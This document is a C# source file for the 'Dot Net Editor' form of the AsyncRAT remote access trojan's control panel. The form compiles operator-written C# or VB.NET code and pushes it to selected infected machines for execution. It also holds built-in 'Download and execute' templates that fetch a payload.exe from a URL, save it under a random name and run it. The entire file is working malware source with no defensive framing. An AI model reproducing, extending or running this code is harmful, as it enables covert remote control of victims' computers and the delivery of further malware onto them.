using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Drawing; using System.Linq; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using Server.MessagePack; using Server.Sockets; using FastColoredTextBoxNS; using Microsoft.CSharp; using Microsoft.VisualBasic; namespace Server.Forms { public partial class FormDotNetEditor : Form { private Dictionary providerOptions = new Dictionary() { {"CompilerVersion", "v4.0" } }; public FormDotNetEditor() { InitializeComponent(); } private void FormDotNetEditor_Load(object sender, EventArgs e) { comboLang.SelectedIndex = 0; comboHelper.SelectedIndex = 1; } private void Button1_Click(object sender, EventArgs e) { if (listBoxReferences.Items.Count == 0 || string.IsNullOrWhiteSpace(txtBox.Text)) return; if (!txtBox.Text.ToLower().Contains("try") && !txtBox.Text.ToLower().Contains("catch")) MessageBox.Show("Please add try catch", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); if (Program.form1.listView1.SelectedItems.Count > 0) { List reference = new List(); foreach (string ip in listBoxReferences.Items) { reference.Add(ip); } MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "executeDotNetCode"; msgpack.ForcePathObject("Option").AsString = comboLang.Text; msgpack.ForcePathObject("Code").AsString = txtBox.Text; msgpack.ForcePathObject("Reference").AsString = string.Join(",", reference); foreach (ListViewItem item in Program.form1.listView1.SelectedItems) { Clients client = (Clients)item.Tag; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } MessageBox.Show("Executed!", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { MessageBox.Show("Selected client = 0", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } } private void ComboLang_SelectedIndexChanged(object sender, EventArgs e) { if (comboLang.SelectedIndex == 0) { txtBox.Language = Language.CSharp; txtBox.Text = txtBox.Text = GetCode(comboLang.Text, comboHelper.Text); } else { txtBox.Language = Language.VB; txtBox.Text = GetCode(comboLang.Text, comboHelper.Text); } } private void Button2_Click(object sender, EventArgs e) { txtBox.Clear(); } private void ComboHelper_SelectedIndexChanged(object sender, EventArgs e) { if (comboHelper.SelectedIndex == 0) { if (comboLang.SelectedIndex == 0) { txtBox.Text = txtBox.Text = txtBox.Text = GetCode(comboLang.Text, comboHelper.Text); } else { txtBox.Text = txtBox.Text = GetCode(comboLang.Text, comboHelper.Text); } } if (comboHelper.SelectedIndex == 1) { if (comboLang.SelectedIndex == 0) { txtBox.Text = txtBox.Text = GetCode(comboLang.Text, comboHelper.Text); } else { txtBox.Text = GetCode(comboLang.Text, comboHelper.Text); } } } private string GetCode(string lang, string code) { switch (lang) { case "C#": { switch (code) { case "Hello world": { return @"using System; using System.Windows.Forms; namespace AsyncRAT { public class Program { public static void Main(string[] args) { try { MessageBox.Show(""Hello World""); } catch { } } } }"; } case "Download and execute": { return @"using System.Net; using System.IO; using System.Diagnostics; namespace AsyncRAT { public class Program { public static void Main() { try { using (WebClient wc = new WebClient()) { try { string name = Path.GetRandomFileName() + "".exe""; byte[] buffer = wc.DownloadData(""http://127.0.0.1/payload.exe""); File.WriteAllBytes(name, buffer); Process.Start(name); } catch { } } } catch { } } } } "; } } break; } case "VB.NET": { switch (code) { case "Hello world": { return @"Imports System Imports System.Windows.Forms Namespace AsyncRAT Public Class Program Public Shared Sub Main(ByVal args As String()) Try MessageBox.Show(""Hello World"") Catch End Try End Sub End Class End Namespace "; } case "Download and execute": { return @"Imports System.Net Imports System.IO Imports System.Diagnostics Namespace AsyncRAT Public Class Program Public Shared Sub Main() Try Using wc As WebClient = New WebClient() Try Dim name As String = Path.GetRandomFileName() & "".exe"" Dim buffer As Byte() = wc.DownloadData(""http://127.0.0.1/payload.exe"") File.WriteAllBytes(name, buffer) Process.Start(name) Catch End Try End Using Catch End Try End Sub End Class End Namespace "; } } break; } } return ""; } private void RemoveToolStripMenuItem_Click(object sender, EventArgs e) { if (listBoxReferences.SelectedItems.Count == 1) { listBoxReferences.Items.Remove(listBoxReferences.SelectedItem); } } private void AddToolStripMenuItem_Click(object sender, EventArgs e) { string reference = Interaction.InputBox("Add Reference", "References", ""); if (string.IsNullOrEmpty(reference)) return; else { foreach (string item in listBoxReferences.Items) { if (item == reference) { return; } } listBoxReferences.Items.Add(reference); } } private void Button3_Click(object sender, EventArgs e) { if (listBoxReferences.Items.Count == 0 || string.IsNullOrWhiteSpace(txtBox.Text)) return; if (!txtBox.Text.ToLower().Contains("try") && !txtBox.Text.ToLower().Contains("catch")) MessageBox.Show("Please add try catch", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); List reference = new List(); foreach (string r in listBoxReferences.Items) { reference.Add(r); } switch (comboLang.Text) { case "C#": { Compiler(new CSharpCodeProvider(providerOptions), txtBox.Text, string.Join(",", reference).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries)); break; } case "VB.NET": { Compiler(new VBCodeProvider(providerOptions), txtBox.Text, string.Join(",", reference).Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries)); break; } } } private void Compiler(CodeDomProvider codeDomProvider, string source, string[] referencedAssemblies) { try { var providerOptions = new Dictionary() { {"CompilerVersion", "v4.0" } }; var compilerOptions = "/target:winexe /platform:anycpu /optimize-"; var compilerParameters = new CompilerParameters(referencedAssemblies) { GenerateExecutable = true, GenerateInMemory = true, CompilerOptions = compilerOptions, TreatWarningsAsErrors = false, IncludeDebugInformation = false, }; var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source); if (compilerResults.Errors.Count > 0) { foreach (CompilerError compilerError in compilerResults.Errors) { MessageBox.Show(string.Format("{0}\nLine: {1}", compilerError.ErrorText, compilerError.Line), "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); break; } } else { compilerResults = null; MessageBox.Show("No Error!", "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Information); } } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } } } }